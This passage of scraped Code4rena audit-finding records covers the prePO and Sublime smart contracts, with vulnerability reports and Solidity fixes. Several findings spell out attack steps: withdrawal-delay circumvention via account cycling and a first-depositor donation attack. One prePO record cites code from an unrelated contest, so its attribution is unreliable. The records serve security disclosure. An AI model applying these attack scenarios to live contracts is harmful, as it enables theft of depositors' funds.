"https://github.com/code-423n4/2022-03-prepo-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "SingleStrategyController doesn't verify that new strategy uses the same base token", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/SingleStrategyController.sol#L51-L72 https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/interfaces/IStrategy.sol#L52 # Vulnerability details ## Impact When migrating from one strategy to another, the controller pulls out the funds of the old strategy and deposits them into the new one. But, it doesn't verify that both strategies use the same base token. If the new one uses a different base token, it won't \"know\" about the tokens it received on migration. It won't be able to deposit and transfer them. Effectively they would be lost. The migration is done by the owner. So the owner must make a mistake and migrate to the wrong strategy by accident. In a basic protocol with 1 controller and a single active strategy managing that should be straightforward. There shouldn't be a real risk of that mistake happening. But, if you have multiple controllers running at the same time each with a different base token, it gets increasingly likelier. According to the `IStrategy` interface, there is a function to retrieve the strategy's base token: `getBaseToken()`. I'd recommend adding a check in the `migrate()` function to verify that the new strategy uses the correct base token to prevent this issue from being possible. ## Proof of Concept https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/SingleStrategyController.sol#L51-L72 https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/interfaces/IStrategy.sol#L52 ## Tools Used none ## Recommended Mitigation Steps Add `require(_baseToken == _newStrategy.getBaseToken());` to the beginning of `migrate()` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "`getSharesForAmount` returns wrong value when `totalAssets == 0`", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L328 # Vulnerability details ## Impact The [`getSharesForAmount`](https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L328) function returns `0` if `totalAssets == 0`. However, if **`totalSupply == 0`**, the actual shares that are minted in a [`deposit` are `_amount`](https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L83) even if `totalAssets == 0`. Contracts / frontends that use this function to estimate their deposit when `totalSupply == 0` will return a wrong value. ## Recommended Mitigation Steps ```diff function getSharesForAmount(uint256 _amount) external view override returns (uint256) { + // to match the code in `deposit` + if (totalSupply() == 0) return _amount; uint256 _totalAssets = totalAssets(); return (_totalAssets > 0) ? ((_amount * totalSupply()) / _totalAssets) : 0; // @audit this should be _amount according to `deposit` } ``` "}, {"title": "Withdrawal delay can be circumvented", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/54", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L97 # Vulnerability details ## Impact After initiating a withdrawal with `initiateWithdrawal`, it's still possible to transfer the collateral tokens. This can be used to create a second account, transfer the accounts to them and initiate withdrawals at a different time frame such that one of the accounts is always in a valid withdrawal window, no matter what time it is. If the token owner now wants to withdraw they just transfer the funds to the account that is currently in a valid withdrawal window. Also, note that each account can withdraw the specified `amount`. Creating several accounts and circling & initiating withdrawals with all of them allows withdrawing larger amounts **even at the same block** as they are purchased in the future. I consider this high severity because it breaks core functionality of the Collateral token. #### POC For example, assume the `_delayedWithdrawalExpiry = 20` blocks. Account A owns 1000 collateral tokens, they create a second account B. - At `block=0`, A calls `initiateWithdrawal(1000)`. They send their balance to account B. - At `block=10`, B calls `initiateWithdrawal(1000)`. They send their balance to account A. - They repeat these steps, alternating the withdrawal initiation every 10 blocks. - One of the accounts is always in a valid withdrawal window (`initiationBlock < block && block <= initiationBlock + 20`). They can withdraw their funds at any time. ## Recommended Mitigation Steps If there's a withdrawal request for the token owner (`_accountToWithdrawalRequest[owner].blockNumber > 0`), disable their transfers for the time. ```solidity // pseudo-code not tested beforeTransfer(from, to, amount) { super(); uint256 withdrawalStart = _accountToWithdrawalRequest[from].blockNumber; if(withdrawalStart > 0 && withdrawalStart + _delayedWithdrawalExpiry < block.number) { revert(); // still in withdrawal window } } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Market expiry behaviour differs in implementation and documentation", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/28", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-prepo-findings", "body": "Market expiry behaviour differs in implementation and documentation"}, {"title": "First depositor can break minting of shares", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/27", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63 # Vulnerability details ## Impact The attack vector and impact is the same as [TOB-YEARN-003](https://github.com/yearn/yearn-security/blob/master/audits/20210719_ToB_yearn_vaultsv2/ToB_-_Yearn_Vault_v_2_Smart_Contracts_Audit_Report.pdf), where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large \u201cdonation\u201d. ## Proof of Concept In `Pair.add()`, the amount of LP token minted is calculated as ```solidity function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) { uint256 lpTokenSupply = lpToken.totalSupply(); if (lpTokenSupply > 0) { // calculate amount of lp tokens as a fraction of existing reserves uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); } else { // if there is no liquidity then init return Math.sqrt(baseTokenAmount * fractionalTokenAmount); } } ``` An attacker can exploit using these steps 1. Create and add `1 wei baseToken - 1 wei quoteToken` to the pair. At this moment, attacker is minted `1 wei LP token` because `sqrt(1 * 1) = 1` 2. Transfer large amount of `baseToken` and `quoteToken` directly to the pair, such as `1e9 baseToken - 1e9 quoteToken`. Since no new LP token is minted, `1 wei LP token` worths `1e9 baseToken - 1e9 quoteToken`. 3. Normal users add liquidity to pool will receive `0` LP token if they add less than `1e9` token because of rounding division. ```solidity baseTokenShare = (X * 1) / 1e9; fractionalTokenShare = (Y * 1) / 1e9; ``` ## Tools Used Manual Review ## Recommended Mitigation Steps - [Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124). The same can be done in this case i.e. when `lpTokenSupply == 0`, send the first min liquidity LP tokens to the zero address to enable share dilution. - In `add()`, ensure the number of LP tokens to be minted is non-zero: ```solidity require(lpTokenAmount != 0, \"No LP minted\"); ``` "}, {"title": "Strategy Migration May Leave Tokens in the Old Strategy Impacting Share Calculations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/26", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/SingleStrategyController.sol#L51-L72 # Vulnerability details ## Impact If a strategy does not have sufficient funds to `withdraw()` for the full amount then it is possible that tokens will be left in this yield contract during `migrate()`. It is common for withdrawal from a strategy to withdraw less than a user's balance. The reason is that these yield protocols may lend the deposited funds to borrowers, if there is less funds in the pool than the withdrawal amount the withdrawal may succeed but only transfer the funds available rather than the full withdrawal amount. The impact of tokens remaining in the old strategy is that when we call `StrategyController.totalValue()` this will only account for the tokens deposited in the new strategy and not those stuck in the previous strategy. Therefore `totalValue()` is undervalued. Thus, when a user calls `Collateral.deposit()` the share calculations `_shares = (_amountToDeposit * totalSupply()) / (_valueBefore);` will be over stated (note: `uint256 _valueBefore = _strategyController.totalValue();`). Hence, the user will receive more shares than they should. The old tokens may be recovered by calling `migrate()` back to the old strategy. If this is done then `totalValue()` will now include the tokens previously stuck. The recent depositer may now withdraw and will be owed `(_strategyController.totalValue() * _amount) / totalSupply()`. Since `totalValue()` is now includes the previously stuck tokens `_owed` will be overstated and the user will receive more collateral than they should. The remaining users who had deposited before `migrate()` will lose tokens proportional to their share of the `totalSupply()`. ## Proof of Concept https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/SingleStrategyController.sol#L51-L72 ``` function migrate(IStrategy _newStrategy) external override onlyOwner nonReentrant { uint256 _oldStrategyBalance; IStrategy _oldStrategy = _strategy; _strategy = _newStrategy; _baseToken.approve(address(_newStrategy), type(uint256).max); if (address(_oldStrategy) != address(0)) { _baseToken.approve(address(_oldStrategy), 0); _oldStrategyBalance = _oldStrategy.totalValue(); _oldStrategy.withdraw(address(this), _oldStrategyBalance); _newStrategy.deposit(_baseToken.balanceOf(address(this))); } emit StrategyMigrated( address(_oldStrategy), address(_newStrategy), _oldStrategyBalance ); } ``` ## Recommended Mitigation Steps The recommendation is to ensure that `require(_oldStrategy.totalValue() == 0)` after calling `_oldStrategy.withdraw()`. This ensures that no funds are left in the strategy. Consider the code example below. ``` function migrate(IStrategy _newStrategy) external override onlyOwner nonReentrant { uint256 _oldStrategyBalance; IStrategy _oldStrategy = _strategy; _strategy = _newStrategy; _baseToken.approve(address(_newStrategy), type(uint256).max); if (address(_oldStrategy) != address(0)) { _baseToken.approve(address(_oldStrategy), 0); _oldStrategyBalance = _oldStrategy.totalValue(); _oldStrategy.withdraw(address(this), _oldStrategyBalance); require(_oldStrategy.totalValue() == 0) _newStrategy.deposit(_baseToken.balanceOf(address(this))); } emit StrategyMigrated( address(_oldStrategy), address(_newStrategy), _oldStrategyBalance ); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/6", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Duplicate _tokenNameSuffix and _tokenSymbolSuffix will incorrectly update current Market", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/2", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/main/contracts/core/PrePOMarketFactory.sol#L42 # Vulnerability details ## Impacted Function: createMarket ## Description: 1. Owner calls createMarket with _tokenNameSuffix S1 and _tokenSymbolSuffix S2 which creates a new market M1 with _deployedMarkets[_salt] pointing to M1. Here salt can be S which is computed using _tokenNameSuffix and _tokenSymbolSuffix 2. This market is now being used 3. After some time owner again mistakenly calls createMarket with _tokenNameSuffix S1 and _tokenSymbolSuffix S2 4. Instead of returning error mentioning that this name and symbol already exists, new market gets created. The problem here is that salt which is computed using _tokenNameSuffix and _tokenSymbolSuffix will again come as S (as in step 1) which means _deployedMarkets[_salt] will now get updated to M2. This means reference to M1 is gone ## Recommendation: Add below check: ``` require(_deployedMarkets[_salt]==address(0), \"Market already exists\"); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/79", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Potentially depositing at unfavorable rate since anyone can deposit the entire lenderPool to a known strategy at a pre-fixed time", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/64", "labels": ["bug", "question", "2 (Med Risk)"], "target": "2022-03-sublime-findings", "body": "Potentially depositing at unfavorable rate since anyone can deposit the entire lenderPool to a known strategy at a pre-fixed time"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/63", "labels": ["bug", "question", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "[WP-M10] Lack of access control allow anyone to `withdrawInterest()` for any lender", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-03-sublime-findings", "body": "[WP-M10] Lack of access control allow anyone to `withdrawInterest()` for any lender"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/33", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Pool Credit Line May Not Able to Start When _borrowAsset is Non ERC20 Compliant Tokens", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-sublime-findings", "body": "# Lines of code https://github.com/sublime-finance/sublime-v1/blob/46536a6d25df4264c1b217bd3232af30355dcb95/contracts/PooledCreditLine/LenderPool.sol#L327 # Vulnerability details ## Impact ```IERC20(_borrowAsset).transfer(_to, _fee);``` If the USDT token is supported as _borrowAsset, the unsafe version of .transfer(_to, _fee) may revert as there is no return value in the USDT token contract\u2019s transfer() implementation (but the IERC20 interface expects a return value). Function start() will break when _borrowAsset is USDT or Non ERC20 Compliant Tokens. USDT is one of the most borrowed Asset in DEFI. This may cause losing a lot of potential users. ## Proof of Concept https://github.com/sublime-finance/sublime-v1/blob/46536a6d25df4264c1b217bd3232af30355dcb95/contracts/PooledCreditLine/LenderPool.sol#L327 ## Recommended Mitigation Steps Use .safeTransfer instead of .transfer ```IERC20(_borrowAsset).safeTransfer(_to, _fee);``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "PooledCreditLine: termination likely fails because _principleWithdrawable is treated as shares", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/21", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-sublime-findings", "body": "# Lines of code https://github.com/sublime-finance/sublime-v1/blob/46536a6d25df4264c1b217bd3232af30355dcb95/contracts/PooledCreditLine/LenderPool.sol#L404-L406 # Vulnerability details ## Details & Impact `_principalWithdrawable` is denominated in the borrowAsset, but subsequently treats it as the share amount to be withdrawn. ```jsx // _notBorrowed = borrowAsset amount that isn't borrowed // totalSupply[_id] = ERC1155 total supply of _id // _borrowedTokens = borrower's specified borrowLimit uint256 _principalWithdrawable = _notBorrowed.mul(totalSupply[_id]).div(_borrowedTokens); SAVINGS_ACCOUNT.withdrawShares(_borrowAsset, _strategy, _to, _principalWithdrawable.add(_totalInterestInShares), false); ``` ## Recommended Mitigation Steps The amount of shares to withdraw can simply be `_sharesHeld`. Note that this comes with the assumption that `terminate()` is only called when the credit line is `ACTIVE` or `EXPIRED` (consider ensuring this condition on-chain), because `_sharesHeld` **excludes principal withdrawals,** so the function will fail once a lender withdraws his principal. ```jsx function terminate(uint256 _id, address _to) external override onlyPooledCreditLine nonReentrant { address _strategy = pooledCLConstants[_id].borrowAssetStrategy; address _borrowAsset = pooledCLConstants[_id].borrowAsset; uint256 _sharesHeld = pooledCLVariables[_id].sharesHeld; SAVINGS_ACCOUNT.withdrawShares(_borrowAsset, _strategy, _to, _sharesHeld, false); delete pooledCLConstants[_id]; delete pooledCLVariables[_id]; } ``` "}, {"title": "LenderPool: Principal withdrawable is incorrectly calculated if start() is invoked with non-zero start fee", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/19", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-sublime-findings", "body": "# Lines of code https://github.com/sublime-finance/sublime-v1/blob/46536a6d25df4264c1b217bd3232af30355dcb95/contracts/PooledCreditLine/LenderPool.sol#L594-L599 https://github.com/sublime-finance/sublime-v1/blob/46536a6d25df4264c1b217bd3232af30355dcb95/contracts/PooledCreditLine/LenderPool.sol#L399-L404 # Vulnerability details ## Details & Impact The `_principalWithdrawable` calculated will be more than expected if `_start()` is invoked with a non-zero start fee, because the borrow limit is reduced by the fee, resulting in `totalSupply[id]` not being 1:1 with the borrow limit. ```jsx function _calculatePrincipalWithdrawable(uint256 _id, address _lender) internal view returns (uint256) { uint256 _borrowedTokens = pooledCLConstants[_id].borrowLimit; uint256 _totalLiquidityWithdrawable = _borrowedTokens.sub(POOLED_CREDIT_LINE.getPrincipal(_id)); uint256 _principalWithdrawable = _totalLiquidityWithdrawable.mul(balanceOf(_lender, _id)).div(_borrowedTokens); return _principalWithdrawable; } ``` ## Proof of Concept Assume the following conditions: - Alice, the sole lender, provided `100_000` tokens: `totalSupply[_id] = 100_000` - `borrowLimit = 99_000` because of a 1% startFee - Borrower borrowed zero amount When Alice attempts to withdraw her tokens, the `_principalWithdrawable` amount is calculated as ```jsx _borrowedTokens = 99_000 _totalLiquidityWithdrawable = 99_000 - 0 = 99_000 _principalWithdrawable = 99_000 * 100_000 / 99_000 = 100_000 ``` This is more than the available principal amount of `99_000`, so the withdrawal will fail. ## Recommended Mitigation Steps One hack-ish way is to save the initial supply in `minBorrowAmount` (perhaps rename the variable to `minInitialSupply`) when the credit line is accepted, and replace `totalSupply[_id]` with it. The other places where `minBorrowAmount` are used will not be affected by the change because: - startTime has been zeroed, so `start()` cannot be invoked (revert with error S1) - credit line status would have been changed to `ACTIVE` and cannot be changed back to `REQUESTED`, meaning the check below will be false regardless of the value of `minBorrowAmount`. ```jsx _status == PooledCreditLineStatus.REQUESTED && block.timestamp > pooledCLConstants[_id].startTime && totalSupply[_id] < pooledCLConstants[_id].minBorrowAmount ``` Code amendment example: ```jsx function _accept(uint256 _id, uint256 _amount) internal { ... // replace delete pooledCLConstants[_id].minBorrowAmount; with the following: pooledCLConstants[_id].minInitialSupply = totalSupply[_id]; } // update comment in _withdrawLiquidity // Case 1: Pooled credit line never started because desired amount wasn't reached // state will never revert back to REQUESTED if credit line is accepted so this case is never run function _calculatePrincipalWithdrawable(uint256 _id, address _lender) internal view returns (uint256) { uint256 _borrowedTokens = pooledCLConstants[_id].borrowLimit; uint256 _totalLiquidityWithdrawable = _borrowedTokens.sub(POOLED_CREDIT_LINE.getPrincipal(_id)); // totalSupply[id] replaced with minInitialSupply uint256 _principalWithdrawable = _totalLiquidityWithdrawable.mul(balanceOf(_lender, _id)).div(minInitialSupply); return _principalWithdrawable; } ``` In `terminate()`, the shares withdrawable can simply be `_sharesHeld`. ```jsx function terminate(uint256 _id, address _to) external override onlyPooledCreditLine nonReentrant { address _strategy = pooledCLConstants[_id].borrowAssetStrategy; address _borrowAsset = pooledCLConstants[_id].borrowAsset; uint256 _sharesHeld = pooledCLVariables[_id].sharesHeld; SAVINGS_ACCOUNT.withdrawShares(_borrowAsset, _strategy, _to, _sharesHeld, false); delete pooledCLConstants[_id]; delete pooledCLVariables[_id]; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 